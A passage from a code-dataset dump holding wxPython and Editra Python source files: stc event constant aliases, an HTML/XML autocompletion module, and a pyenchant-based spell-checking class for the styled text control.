wx.stc.wxEVT_STC_SAVEPOINTLEFT\nwxEVT_STC_ROMODIFYATTEMPT = wx.stc.wxEVT_STC_ROMODIFYATTEMPT\nwxEVT_STC_KEY = wx.stc.wxEVT_STC_KEY\nwxEVT_STC_DOUBLECLICK = wx.stc.wxEVT_STC_DOUBLECLICK\nwxEVT_STC_UPDATEUI = wx.stc.wxEVT_STC_UPDATEUI\nwxEVT_STC_MODIFIED = wx.stc.wxEVT_STC_MODIFIED\nwxEVT_STC_MACRORECORD = wx.stc.wxEVT_STC_MACRORECORD\nwxEVT_STC_MARGINCLICK = wx.stc.wxEVT_STC_MARGINCLICK\nwxEVT_STC_NEEDSHOWN = wx.stc.wxEVT_STC_NEEDSHOWN\nwxEVT_STC_PAINTED = wx.stc.wxEVT_STC_PAINTED\nwxEVT_STC_USERLISTSELECTION = wx.stc.wxEVT_STC_USERLISTSELECTION\nwxEVT_STC_URIDROPPED = wx.stc.wxEVT_STC_URIDROPPED\nwxEVT_STC_DWELLSTART = wx.stc.wxEVT_STC_DWELLSTART\nwxEVT_STC_DWELLEND = wx.stc.wxEVT_STC_DWELLEND\nwxEVT_STC_START_DRAG = wx.stc.wxEVT_STC_START_DRAG\nwxEVT_STC_DRAG_OVER = wx.stc.wxEVT_STC_DRAG_OVER\nwxEVT_STC_DO_DROP = wx.stc.wxEVT_STC_DO_DROP\nwxEVT_STC_ZOOM = wx.stc.wxEVT_STC_ZOOM\nwxEVT_STC_HOTSPOT_CLICK = wx.stc.wxEVT_STC_HOTSPOT_CLICK\nwxEVT_STC_HOTSPOT_DCLICK = wx.stc.wxEVT_STC_HOTSPOT_DCLICK\nwxEVT_STC_CALLTIP_CLICK = wx.stc.wxEVT_STC_CALLTIP_CLICK\nwxEVT_STC_AUTOCOMP_SELECTION = wx.stc.wxEVT_STC_AUTOCOMP_SELECTION\n\n\nd = globals()\nfor k, v in wx.stc.__dict__.iteritems():\n if k.startswith('EVT'):\n d[k] = v\ndel d, k, v\n\n\n\n", "id": "8139894", "language": "Python", "matching_score": 6.107478141784668, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/stc.py" }, { "content": "###############################################################################\n# Name: htmlcomp.py #\n# Purpose: Simple input assistant for html and xml. #\n# Author: <NAME> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nSimple autocompletion support for HTML and XML documents.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: htmlcomp.py 67123 2011-03-04 00:02:35Z CJP $\"\n__revision__ = \"$Revision: 67123 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport re\nimport wx\nimport wx.stc\n\n# Local Imports\nimport completer\n\n#--------------------------------------------------------------------------#\n# Standard Html Tags\nTAGS = ['!--', 'a', 'abbr', 'accept', 'accesskey', 'acronym', 'action',\n 'address', 'align', 'alink', 'alt', 'applet', 'archive', 'area',\n 'article', 'aside', 'audio', 'axis', 'b', 'background', 'base',\n 'basefont', 'bdo', 'bgcolor', 'big', 'blockquote', 'body', 'border',\n 'bordercolor', 'br', 'button', 'canvas', 'caption', 'cellpadding',\n 'cellspacing', 'center', 'char', 'charoff', 'charset', 'checked',\n 'cite', 'cite', 'class', 'classid', 'clear', 'code', 'codebase',\n 'codetype', 'col', 'colgroup', 'color', 'cols', 'colspan', 'command',\n 'compact', 'content', 'coords', 'data', 'datetime', 'datalist', 'dd',\n 'declare', 'defer', 'del', 'details', 'dfn', 'dialog', 'dir', 'dir',\n 'disabled', 'div', 'dl', 'dt', 'dtml-call', 'dtml-comment', 'dtml-if',\n 'dtml-in', 'dtml-let', 'dtml-raise', 'dtml-tree', 'dtml-try',\n 'dtml-unless', 'dtml-var', 'dtml-with', 'em', 'embed', 'enctype',\n 'face', 'fieldset', 'figcaption', 'figure', 'font', 'for', 'form',\n 'footer', 'frame', 'gutter', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head',\n 'header', 'headers', 'height', 'hgroup', 'hr', 'href', 'hreflang',\n 'hspace', 'html', 'http-equiv', 'i', 'id', 'iframe', 'img', 'input',\n 'ins', 'isindex', 'ismap', 'kbd', 'keygen', 'label', 'lang', 'language',\n 'legend', 'li', 'link', 'link', 'longdesc', 'lowsrc', 'map',\n 'marginheight', 'marginwidth', 'mark', 'maxlength', 'menu', 'meta',\n 'meter', 'method', 'multiple', 'name', 'nav', 'nohref', 'noscript',\n 'nowrap', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param',\n 'pre', 'profile', 'progress', 'prompt', 'q', 'readonly', 'rel', 'rev',\n 'rows', 'rowspan', 'rp', 'rt', 'ruby', 'rules', 's', 'samp', 'scheme',\n 'scope', 'script', 'scrolling', 'section', 'select', 'selected',\n 'shape', 'size', 'small', 'source', 'span', 'src', 'standby', 'start',\n 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'tabindex',\n 'table', 'target', 'tbody', 'td', 'text', 'textarea', 'tfoot', 'th',\n 'thead', 'time', 'title', 'tr', 'tt', 'type', 'u', 'ul', 'url',\n 'usemap', 'valign', 'value', 'valuetype', 'var', 'version', 'video',\n 'vlink', 'vspace', 'width', 'wrap', 'xmp']\n\n# Tags that usually have a new line inbetween them\nNLINE_TAGS = ('body', 'head', 'html', 'ol', 'style', 'table', 'tbody', 'ul')\n\nTAG_RE = re.compile(\"\\<\\s*([a-zA-Z][a-zA-Z0-9]*)\")\n\nPHP_AREA = [wx.stc.STC_HPHP_COMMENT, wx.stc.STC_HPHP_COMMENTLINE,\n wx.stc.STC_HPHP_COMPLEX_VARIABLE, wx.stc.STC_HPHP_DEFAULT,\n wx.stc.STC_HPHP_HSTRING, wx.stc.STC_HPHP_HSTRING_VARIABLE,\n wx.stc.STC_HPHP_NUMBER, wx.stc.STC_HPHP_OPERATOR,\n wx.stc.STC_HPHP_SIMPLESTRING,\n wx.stc.STC_HPHP_VARIABLE, wx.stc.STC_HPHP_WORD]\n\nHTML_AREA = [wx.stc.STC_H_ASP, wx.stc.STC_H_ASPAT, wx.stc.STC_H_ATTRIBUTE,\n wx.stc.STC_H_ATTRIBUTEUNKNOWN, wx.stc.STC_H_CDATA,\n wx.stc.STC_H_COMMENT, wx.stc.STC_H_DEFAULT,\n wx.stc.STC_H_DOUBLESTRING, wx.stc.STC_H_ENTITY,\n wx.stc.STC_H_NUMBER, wx.stc.STC_H_OTHER, wx.stc.STC_H_QUESTION,\n wx.stc.STC_H_SCRIPT, wx.stc.STC_H_SGML_1ST_PARAM,\n wx.stc.STC_H_SGML_1ST_PARAM_COMMENT,\n wx.stc.STC_H_SGML_BLOCK_DEFAULT, wx.stc.STC_H_SGML_COMMAND,\n wx.stc.STC_H_SGML_COMMENT, wx.stc.STC_H_SGML_DEFAULT,\n wx.stc.STC_H_SGML_DOUBLESTRING, wx.stc.STC_H_SGML_ENTITY,\n wx.stc.STC_H_SGML_ERROR, wx.stc.STC_H_SGML_SIMPLESTRING,\n wx.stc.STC_H_SGML_SPECIAL, wx.stc.STC_H_SINGLESTRING,\n wx.stc.STC_H_TAG, wx.stc.STC_H_TAGEND,\n wx.stc.STC_H_TAGUNKNOWN, wx.stc.STC_H_VALUE,\n wx.stc.STC_H_XCCOMMENT, wx.stc.STC_H_XMLEND,\n wx.stc.STC_H_XMLSTART]\n\n#--------------------------------------------------------------------------#\n\nclass Completer(completer.BaseCompleter):\n \"\"\"HTML/XML Code completion provider\"\"\"\n def __init__(self, stc_buffer):\n super(Completer, self).__init__(stc_buffer)\n\n # Setup\n self.SetAutoCompKeys([ord('>'), ord('<')])\n self.SetAutoCompStops(' ')\n self.SetAutoCompFillups('')\n\n def GetAutoCompList(self, command):\n \"\"\"Returns the list of possible completions for a\n command string. If namespace is not specified the lookup\n is based on the locals namespace\n @param command: command lookup is done on\n @keyword namespace: namespace to do lookup in\n\n \"\"\"\n if command in [None, u'']:\n return list()\n\n buff = self.GetBuffer()\n cpos = buff.GetCurrentPos()\n\n # Check if we are in a php region or not\n if buff.GetStyleAt(cpos) not in HTML_AREA:\n return list()\n\n # Get current context\n cline = buff.GetCurrentLine()\n ccol = buff.GetColumn(cpos)\n tmp = buff.GetLine(cline).rstrip()\n if ccol < len(tmp):\n tmp = tmp[:ccol].rstrip()\n\n # Check if we are completing an open tag (i.e < was typed)\n if tmp.endswith('<'):\n if buff.GetLexer() == wx.stc.STC_LEX_XML:\n taglst = _FindXmlTags(buff.GetText())\n else:\n taglst = TAGS\n return completer.CreateSymbols(taglst, completer.TYPE_ELEMENT)\n\n # Check for a self closing tag (i.e />)\n endchk = tmp.strip().replace(u\" \", u\"\").replace(u\"\\t\", u\"\")\n if endchk.endswith(u\"/>\"):\n return list()\n\n # Try to autocomplete a closing tag (if necessary)\n tmp = tmp.rstrip('>').rstrip()\n if len(tmp) and (tmp[-1] in '\"\\' \\t' or tmp[-1].isalpha()):\n # Walk backwards from the current line\n for line in range(cline, -1, -1):\n txt = buff.GetLine(line)\n if line == cline:\n txt = txt[:buff.GetColumn(cpos)]\n\n idx = txt.rfind('<')\n if idx != -1:\n parts = txt[idx:].lstrip('<').strip().split()\n if len(parts):\n tag = parts[0].rstrip('>')\n if len(tag) and \\\n tag not in ('img', 'br', '?php', '?xml', '?') and \\\n not tag[0] in ('!', '/'):\n rtag = u\"</\" + tag + u\">\"\n\n if not parts[-1].endswith('>'):\n rtag = u\">\" + rtag\n return [ completer.Symbol(rtag, completer.TYPE_ELEMENT) ]\n break\n\n return list()\n\n def OnCompletionInserted(self, pos, text):\n \"\"\"Handle adjusting caret position after some insertions.\n @param pos: position caret was at before insertion\n @param text: text that was inserted\n\n \"\"\"\n buff = self.GetBuffer()\n if text.strip().startswith(u\"</\"):\n buff.SetCurrentPos(pos) # move caret back between the tags\n # HACK: SetCurrentPos causes text to be selected\n buff.SetSelection(pos, pos)\n\n#--------------------------------------------------------------------------#\n\ndef _FindXmlTags(text):\n \"\"\"Dynamically generate a list of possible xml tags based on tags found in\n the given text.\n @param text: string\n @return: sorted list\n\n \"\"\"\n matches = TAG_RE.findall(text)\n if len(matches):\n matches.append(u'!--')\n matches = list(set(matches))\n matches.sort()\n else:\n matches = [u'!--', ]\n return matches\n", "id": "6778816", "language": "Python", "matching_score": 2.4234583377838135, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/autocomp/htmlcomp.py" }, { "content": "#-----------------------------------------------------------------------------\n# Name: stcspellcheck.py\n# Purpose: Spell checking for the wx.StyledTextControl using pyenchant\n#\n# Author: <NAME>\n#\n# Created: 2008\n# RCS-ID: $Id: stcspellcheck.py 62175 2009-09-28 00:10:31Z CJP $\n# Copyright: (c) 2008 <NAME>\n# License: wxWidgets\n#-----------------------------------------------------------------------------\n#\n# Originally based on code from Luke-SDK, which includes the following\n# copyright notice:\n# \n# Copyright (c) 2007 <NAME> <NAME>, <EMAIL>.\n#\n# Permission to use, copy, modify and distribute this software and its\n# documentation for any purpose and without fee is hereby granted, provided\n# that the above copyright notice appear in all copies and that both\n# the copyright notice and this permission notice appear in supporting\n# documentation.\n#\n# Christopher Thoday makes no representations about the suitability of this\n# software for any purpose. It is provided \"as is\" without express or implied\n# warranty.\n\n\"\"\"Spell checking for the wx.StyledTextControl using pyenchant\n\nThis module was insipred by the spell check function from Christopher Thoday's\nU{Luke SDK<http://luke-sdk.berlios.de/>}.\n\nSpell checking is provided by the pyenchant library, which is an external\ndependency not part of wxPython. Packages are available for Mac, Unix, and\nwindows at U{http://pyenchant.sourceforge.net}\n\nCurrently provides:\n - spell checking of entire buffer, currently visible page, or selection region\n - user specified indicator number (0 - 2), style, and color\n - language can be changed on the fly\n - update the spelling as you type\n - check the document in either idle time or in a background thread\n\n@author: <NAME>\n@version: 1.2\n\nChangelog::\n 1.2:\n - Rewrote as a standalone class rather than a static mixin\n 1.1:\n - Added helper function to use idle processing time to check document\n - Added word checking function for use in instant spell checking\n 1.0:\n - First public release\n\"\"\"\n\nimport os\nimport locale\nimport wx\nimport wx.stc\n\n# Assume MacPorts install of Enchant\nif wx.Platform == '__WXMAC__':\n if 'PYENCHANT_LIBRARY_PATH' not in os.environ:\n os.environ['PYENCHANT_LIBRARY_PATH'] = '/opt/local/lib/libenchant.dylib'\n\ntry:\n import enchant\nexcept ImportError:\n # no big deal; support for enchant simply won't be included\n pass\nexcept:\n # big deal; enchant is there but there's some error that is preventing\n # its import\n import traceback\n traceback.print_exc()\n\nclass STCSpellCheck(object):\n \"\"\"Spell checking for use with wx.StyledTextControl.\n \n This shows spelling errors using the styling indicators (e.g. the red\n squiggly underline) of the styled text control; I find this much more\n convenient than a dialog-box that makes you click through each mistake.\n \n The eventual goal of the module is to provide on-the-fly spell checking\n that will display errors as you type, and also will highlight errors\n during idle time or in a background thread.\n \n Spell checking is provided through the pyenchant module. Without\n pyenchant, this object won't do anything useful, but it is still safe to\n be used. It wraps all calls to pyenchant with try/except blocks to catch\n import errors, and any calls to the spell checking functions will return\n immediately.\n \n To use the spelling check, use one of the methods L{checkAll},\n L{checkCurrentPage}, or L{checkSelection}. Clear the spelling\n indicators with L{clearAll}.\n \"\"\"\n # Class attributes to act as default values\n _spelling_lang = None\n _spelling_dict = None\n \n def __init__(self, stc, *args, **kwargs):\n \"\"\"Mixin must be initialized using this constructor.\n \n Keyword arguments are also available instead of calling the\n convenience functions. For L{setIndicator}, use C{indicator},\n C{indicator_color}, and {indicator_style}; for L{setLanguage},\n use C{language}; and for L{setMinimumWordSize}, use\n C{min_word_size}. See the descriptions of those methods for more info.\n \"\"\"\n self.stc = stc\n self.setIndicator(kwargs.get('indicator', 2),\n kwargs.get('indicator_color', \"#FF0000\"),\n kwargs.get('indicator_style', wx.stc.STC_INDIC_SQUIGGLE))\n self.setMinimumWordSize(kwargs.get('min_word_size', 3))\n if 'language' in kwargs:\n # Don't set default language unless explicitly specified -- it\n # might have already been set through the class method\n self.setDefaultLanguage(kwargs['language'])\n if 'check_region' in kwargs:\n # optional function to specify if the region should be spell\n # checked. Function should return True if the position should\n # be spell-checked; False if it doesn't make sense to spell check\n # that part of the document\n self._spell_check_region = kwargs['check_region']\n else:\n self._spell_check_region = lambda s: True\n self._spelling_debug = False\n \n self._spelling_last_idle_line = -1\n self.dirty_range_count_per_idle = 5\n \n self._no_update = False\n self._last_block = -1\n \n self.clearDirtyRanges()\n\n def setIndicator(self, indicator=None, color=None, style=None):\n \"\"\"Set the indicator styling for misspelled words.\n \n Set the indicator index to use, its color, and the visual style.\n \n @param indicator: indicator number (usually 0, 1, or 2, but may be fewer\n depending on the number of style bits you've chosen for the stc.)\n @param color: string indicating the color of the indicator (e.g.\n \"#FF0000\" for red)\n @param style: stc indicator style; one of the wx.stc.STC_INDIC_*\n constants (currently wx.stc.STC_INDIC_PLAIN, wx.stc.STC_INDIC_SQUIGGLE,\n wx.stc.STC_INDIC_TT, wx.stc.STC_INDIC_DIAGONAL,\n wx.stc.STC_INDIC_STRIKE, wx.stc.STC_INDIC_HIDDEN,\n wx.stc.STC_INDIC_BOX, wx.stc.STC_INDIC_ROUNDBOX)\n \"\"\"\n indicators = {0: wx.stc.STC_INDIC0_MASK,\n 1: wx.stc.STC_INDIC1_MASK,\n 2: wx.stc.STC_INDIC2_MASK\n }\n if indicator is not None:\n if indicator not in indicators:\n indicator = 0\n # The current view may have fewer than 3 indicators\n bitmax = 7 - self.stc.GetStyleBits()\n if indicator > bitmax:\n indicator = bitmax\n self._spelling_indicator = indicator\n self._spelling_indicator_mask = indicators[self._spelling_indicator]\n \n if color is not None:\n self._spelling_color = color\n self.stc.IndicatorSetForeground(self._spelling_indicator,\n self._spelling_color)\n \n if style is not None:\n if style > wx.stc.STC_INDIC_MAX:\n style = wx.stc.STC_INDIC_MAX\n self._spelling_style = style\n self.stc.IndicatorSetStyle(self._spelling_indicator,\n self._spelling_style)\n \n @classmethod\n def getAvailableLanguages(cls):\n \"\"\"Return a list of supported languages.\n \n Pyenchant supplies a list of its supported languages, so this is just\n a simple wrapper around its C{list_languages} function. Each item in\n the list is a text string indicating the locale name, e.g. en_US, ru,\n ru_RU, eo, es_ES, etc.\n \n @return: a list of text strings indicating the supported languages\n \"\"\"\n try:\n return enchant.list_languages()\n except NameError:\n pass\n return []\n \n @classmethod\n def _getDict(cls, lang):\n try:\n d = enchant.Dict(lang)\n except:\n # Catch all exceptions, because if pyenchant isn't available, you\n # can't catch the enchant.DictNotFound error.\n d = None\n return d\n\n def setCheckRegion(self, func):\n \"\"\"Set region checker callable\n @param func: def func(pos): return bool\n\n \"\"\"\n self.clearAll()\n self._spell_check_region = func\n\n @classmethod\n def setDefaultLanguage(cls, lang):\n \"\"\"Set the default language for spelling check.\n \n The string should be in language locale format, e.g. en_US, ru, ru_RU,\n eo, es_ES, etc. See L{getAvailableLanguages}.\n \n @param lang: text string indicating the language\n \"\"\"\n cls._spelling_lang = lang\n cls._spelling_dict = cls._getDict(lang)\n \n def setLanguage(self, lang):\n \"\"\"Set the language for spelling check for this class, if different than\n the default.\n \n The string should be in language locale format, e.g. en_US, ru, ru_RU,\n eo, es_ES, etc. See L{getAvailableLanguages}.\n \n @param lang: text string indicating the language\n \"\"\"\n # Note that this instance variable will shadow the class attribute\n self._spelling_lang = lang\n self._spelling_dict = self._getDict(lang)\n \n def hasDictionary(self):\n \"\"\"Returns True if a dictionary is available to spell check the current\n language.\n \"\"\"\n return self._spelling_dict is not None\n\n @classmethod\n def isEnchantOk(cls):\n \"\"\"Returns True if enchant is available\"\"\"\n return 'enchant' in globals()\n\n @classmethod\n def reloadEnchant(cls, libpath=u''):\n \"\"\"Try (re)loading the enchant module. Use to dynamically try to\n import enchant incase it could be loaded at the time of the import of\n this module.\n @keyword libpath: optionally specify path to libenchant\n @return: bool\n\n \"\"\"\n try:\n if libpath and os.path.exists(libpath):\n os.environ['PYENCHANT_LIBRARY_PATH'] = libpath\n\n if cls.isEnchantOk():\n reload(enchant)\n else:\n mod = __import__('enchant', globals(), locals())\n globals()['enchant'] = mod\n except ImportError:\n return False\n else:\n return True\n\n def getLanguage(self):\n \"\"\"Returns True if a dictionary is available to spell check the current\n language.\n \"\"\"\n return self._spelling_lang\n \n def setMinimumWordSize(self, size):\n \"\"\"Set the minimum word size that will be looked up in the dictionary.\n \n Words smaller than this size won't be spell checked.\n \"\"\"\n self._spelling_word_size = size\n \n def clearAll(self):\n \"\"\"Clear the stc of all spelling indicators.\"\"\"\n self.stc.StartStyling(0, self._spelling_indicator_mask)\n self.stc.SetStyling(self.stc.GetLength(), 0)\n \n def checkRange(self, start, end):\n \"\"\"Perform a spell check over a range of text in the document.\n \n This is the main spell checking routine -- it loops over the range\n of text using the L{findNextWord} method to break the text into\n words to check. Misspelled words are highlighted using the current\n indicator.\n \n @param start: starting position\n @param end: last position to check\n \"\"\"\n spell = self._spelling_dict\n if not spell:\n return\n \n # Remove any old spelling indicators\n mask = self._spelling_indicator_mask\n count = end - start\n if count <= 0:\n if self._spelling_debug:\n print(\"No need to check range: start=%d end=%d count=%d\" % (start, end, count))\n return\n self.stc.StartStyling(start, mask)\n self.stc.SetStyling(count, 0)\n \n text = self.stc.GetTextRange(start, end) # note: returns unicode\n unicode_index = 0\n max_index = len(text)\n \n last_index = 0 # last character in text a valid raw byte position\n last_pos = start # raw byte position corresponding to last_index\n while unicode_index < max_index:\n start_index, end_index = self.findNextWord(text, unicode_index, max_index)\n if end_index >= 0:\n if end_index - start_index >= self._spelling_word_size:\n if self._spelling_debug:\n print(\"checking %s at text[%d:%d]\" % (repr(text[start_index:end_index]), start_index, end_index))\n if not spell.check(text[start_index:end_index]):\n # Because unicode characters are stored as utf-8 in the\n # stc and the positions in the stc correspond to the\n # raw bytes, not the number of unicode characters, we\n # have to find out the offset to the unicode chars in\n # terms of raw bytes.\n \n # find the number of raw bytes from the last calculated\n # styling position to the start of the word\n last_pos += len(text[last_index:start_index].encode('utf-8'))\n \n # find the length of the word in raw bytes\n raw_count = len(text[start_index:end_index].encode('utf-8'))\n \n if self._spell_check_region(last_pos):\n if self._spelling_debug:\n print(\"styling text[%d:%d] = (%d,%d) to %d\" % (start_index, end_index, last_pos, last_pos + raw_count, mask))\n self.stc.StartStyling(last_pos, mask)\n self.stc.SetStyling(raw_count, mask)\n elif self._spelling_debug:\n print(\"not in valid spell check region. styling position corresponding to text[%d:%d] = (%d,%d)\" % (start_index, end_index, last_pos, last_pos + raw_count))\n last_pos += raw_count\n last_index = end_index\n unicode_index = end_index\n else:\n break\n\n def checkAll(self):\n \"\"\"Perform a spell check on the entire document.\"\"\"\n return self.checkRange(0, self.stc.GetLength())\n \n def checkSelection(self):\n \"\"\"Perform a spell check on the currently selected region.\"\"\"\n return self.checkRange(self.stc.GetSelectionStart(), self.stc.GetSelectionEnd())\n \n def checkLines(self, startline=-1, count=-1):\n \"\"\"Perform a spell check on group of lines.\n \n Given the starting line, check the spelling on a block of lines. If\n the number of lines in the block is not specified, use the number of\n currently visibile lines.\n \n @param startline: current line, or -1 to use the first visible line\n @param count: number of lines in the block, or -1 to use the number of\n lines visible on screen\n \"\"\"\n if startline < 0:\n startline = self.stc.GetFirstVisibleLine()\n start = self.stc.PositionFromLine(startline)\n if count < 0:\n count = self.stc.LinesOnScreen()\n endline = startline + count\n if endline > self.stc.GetLineCount():\n endline = self.stc.GetLineCount() - 1\n end = self.stc.GetLineEndPosition(endline)\n if self._spelling_debug:\n print(\"Checking lines %d-%d, chars %d=%d\" % (startline, endline, start, end))\n return self.checkRange(start, end)\n \n def checkCurrentPage(self):\n \"\"\"Perform a spell check on the currently visible lines.\"\"\"\n return self.checkLines()\n \n def findNextWord(self, utext, index, length):\n \"\"\"Find the next valid word to check.\n \n Designed to be overridden in subclasses, this method takes a starting\n position in an array of text and returns a tuple indicating the next\n valid word in the string.\n \n @param utext: array of unicode chars\n @param i: starting index within the array to search\n @param length: length of the text\n @return: tuple indicating the word start and end indexes, or (-1, -1)\n indicating that the end of the array was reached and no word was found\n \"\"\"\n while index < length:\n if utext[index].isalpha():\n end = index + 1\n while end < length and utext[end].isalpha():\n end += 1\n return (index, end)\n index += 1\n return (-1, -1)\n \n def startIdleProcessing(self):\n \"\"\"Initialize parameters needed for idle block spell checking.\n \n This must be called before the first call to L{processIdleBlock}\n or if you wish to restart the spell checking from the start\n of the document. It initializes parameters needed by the\n L{processIdleBlock} in order to process the document during idle\n time.\n \"\"\"\n self._spelling_last_idle_line = 0\n \n def processIdleBlock(self):\n \"\"\"Process a block of lines during idle time.\n \n This method is designed to be called during idle processing and will\n spell check a small number of lines. The next idle processing event\n will continue from where the previous call left off, and in this way\n over some number of idle events will spell check the entire document.\n \n Once the entire document is spell checked, a flag is set and\n further calls to this method will immediately return. Calling\n L{startIdleProcessing} will cause the idle processing to start\n checking from the beginning of the document.\n \"\"\"\n self.processDirtyRanges()\n if self._spelling_last_idle_line < 0:\n return\n if self._spelling_debug:\n print(\"Idle processing page starting at line %d\" % self._spelling_last_idle_line)\n self.checkLines(self._spelling_last_idle_line)\n self._spelling_last_idle_line += self.stc.LinesOnScreen()\n if self._spelling_last_idle_line > self.stc.GetLineCount():\n self._spelling_last_idle_line = -1\n return False\n return True\n\n def processCurrentlyVisibleBlock(self):\n \"\"\"Alternate method to check lines during idle time.\n \n This method is designed to be called during idle processing and will\n spell check the currently visible block of lines. Once the visible\n block has been checked, repeatedly calling this method will have\n no effect until the line position changes (or in the less frequent\n occurrence when the number of lines on screen changes by resizing\n the window).\n \"\"\"\n self.processDirtyRanges()\n\n self._spelling_last_idle_line = self.stc.GetFirstVisibleLine()\n curr_block = self._spelling_last_idle_line + self.stc.LinesOnScreen()\n if self._no_update or curr_block == self._last_block:\n return\n\n self.checkLines(self._spelling_last_idle_line)\n self._spelling_last_idle_line += self.stc.LinesOnScreen()\n self._last_block = self._spelling_last_idle_line\n return True\n\n def getSuggestions(self, word):\n \"\"\"Get suggestion for the correct spelling of a word.\n \n @param word: word to check\n \n @return: list of suggestions, or an empty list if any of the following\n are true: there are no suggestions, the word is shorter than the\n minimum length, or the dictionary can't be found.\n \"\"\"\n spell = self._spelling_dict\n if spell and len(word) >= self._spelling_word_size:\n words = spell.suggest(word)\n if self._spelling_debug:\n print(\"suggestions for %s: %s\" % (word, words))\n return words\n return []\n \n def checkWord(self, pos=None, atend=False):\n \"\"\"Check the word at the current or specified position.\n \n @param pos: position of a character in the word (or at the start or end\n of the word), or None to use the current position\n @param atend: True if you know the cursor is at the end of the word\n \"\"\"\n if pos is None:\n pos = self.stc.GetCurrentPos()\n if atend:\n end = pos\n else:\n end = self.stc.WordEndPosition(pos, True)\n start = self.stc.WordStartPosition(pos, True)\n if self._spelling_debug:\n print(\"%d-%d: %s\" % (start, end, self.stc.GetTextRange(start, end)))\n self.checkRange(start, end)\n \n def addDirtyRange(self, start, end, lines_added=0, deleted=False):\n \"\"\"Add a range of characters to a list of dirty regions that need to be\n updated when some idle time is available.\n \n \"\"\"\n count = end - start\n if deleted:\n count = -count\n if start == self.current_dirty_end:\n self.current_dirty_end = end\n elif start >= self.current_dirty_start and start < self.current_dirty_end:\n self.current_dirty_end += count\n else:\n ranges = []\n if self.current_dirty_start >= 0:\n ranges.append((self.current_dirty_start, self.current_dirty_end))\n for range_start, range_end in self.dirty_ranges:\n if start < range_start:\n range_start += count\n range_end += count\n ranges.append((range_start, range_end))\n self.dirty_ranges = ranges\n \n self.current_dirty_start = start\n self.current_dirty_end = end\n \n # If there has been a change before the word that used to be under the\n # cursor, move the pointer so it matches the text\n if start < self.current_word_start:\n self.current_word_start += count\n self.current_word_end += count\n elif start <= self.current_word_end:\n self.current_word_end += count\n # Prevent nonsensical word end if lots of text have been deleted\n if self.current_word_end < self.current_word_start:\n #print(\"word start = %d, word end = %d\" % (self.current_word_start, self.current_word_end))\n self.current_word_end = self.current_word_start\n \n if lines_added > 0:\n start = self.current_dirty_start\n line = self.stc.LineFromPosition(start)\n while True:\n line_end = self.stc.GetLineEndPosition(line)\n if line_end >= end:\n #self.dirty_ranges.append((start, line_end))\n if end > start:\n self.current_dirty_start = start\n self.current_dirty_end = end\n else:\n self.current_dirty_start = self.current_dirty_end = -1\n break\n self.dirty_ranges.append((start, line_end))\n line += 1\n start = self.stc.PositionFromLine(line)\n \n if self._spelling_debug:\n print(\"event: %d-%d, current dirty range: %d-%d, older=%s\" % (start, end, self.current_dirty_start, self.current_dirty_end, self.dirty_ranges))\n \n def clearDirtyRanges(self, ranges=None):\n \"\"\"Throw away all dirty ranges\n \n \"\"\"\n self.current_dirty_start = self.current_dirty_end = -1\n self.current_word_start = self.current_word_end = -1\n if ranges is not None:\n self.dirty_ranges = ranges\n else:\n self.dirty_ranges = []\n \n def processDirtyRanges(self):\n cursor = self.stc.GetCurrentPos()\n \n # Check that the cursor has moved off the current word and if so check\n # its spelling\n if self.current_word_start > 0:\n if cursor < self.current_word_start or cursor > self.current_word_end:\n self.checkRange(self.current_word_start, self.current_word_end)\n self.current_word_start = -1\n \n # Check spelling around the region currently being typed\n if self.current_dirty_start >= 0:\n range_start, range_end = self.processDirtyRange(self.current_dirty_start, self.current_dirty_end)\n \n # If the cursor is in the middle of a word, remove the spelling\n # markers\n if cursor >= range_start and cursor <= range_end:\n word_start = self.stc.WordStartPosition(cursor, True)\n word_end = self.stc.WordEndPosition(cursor, True)\n mask = self._spelling_indicator_mask\n self.stc.StartStyling(word_start, mask)\n self.stc.SetStyling(word_end - word_start, 0)\n \n if word_start != word_end:\n self.current_word_start = word_start\n self.current_word_end = word_end\n else:\n self.current_word_start = -1\n self.current_dirty_start = self.current_dirty_end = -1\n \n # Process a chunk of dirty ranges\n needed = min(len(self.dirty_ranges), self.dirty_range_count_per_idle)\n ranges = self.dirty_ranges[0:needed]\n self.dirty_ranges = self.dirty_ranges[needed:]\n for start, end in ranges:\n if self._spelling_debug:\n print(\"processing %d-%d\" % (start, end))\n self.processDirtyRange(start, end)\n \n def processDirtyRange(self, start, end):\n range_start = self.stc.WordStartPosition(start, True)\n range_end = self.stc.WordEndPosition(end, True)\n if self._spelling_debug:\n print(\"processing dirty range %d-%d (modified from %d-%d): %s\" % (range_start, range_end, start, end, repr(self.stc.GetTextRange(range_start, range_end))))\n self.checkRange(range_start, range_end)\n return range_start, range_end\n\n\nif __name__ == \"__main__\":\n import sys\n try:\n import enchant\n except:\n print(\"pyenchant not available, so spelling correction won't work.\")\n print(\"Get pyenchant from http://pyenchant.sourceforge.net\")\n \n class TestSTC(wx.stc.StyledTextCtrl):\n def __init__(self, *args, **kwargs):\n wx.stc.StyledTextCtrl.__init__(self, *args, **kwargs)\n self.spell = STCSpellCheck(self, language=\"en_US\")\n self.SetMarginType(0, wx.stc.STC_MARGIN_NUMBER)\n self.SetMarginWidth(0, 32)\n self.Bind(wx.stc.EVT_STC_MODIFIED, self.OnModified)\n self.Bind(wx.EVT_IDLE, self.OnIdle)\n self.modified_count = 0\n self.idle_count = 0\n\n def OnModified(self, evt):\n # NOTE: on really big insertions, evt.GetText can cause a\n # MemoryError on MSW, so I've commented this dprint out.\n mod = evt.GetModificationType()\n if mod & wx.stc.STC_MOD_INSERTTEXT or mod & wx.stc.STC_MOD_DELETETEXT:\n #print(\"(%s) at %d: text=%s len=%d\" % (self.transModType(evt.GetModificationType()),evt.GetPosition(), repr(evt.GetText()), evt.GetLength()))\n pos = evt.GetPosition()\n last = pos + evt.GetLength()\n self.spell.addDirtyRange(pos, last, evt.GetLinesAdded(), mod & wx.stc.STC_MOD_DELETETEXT)\n #self.modified_count += 1\n #if self.modified_count > 10:\n # wx.CallAfter(self.spell.processDirtyRanges)\n # self.modified_count = 0\n 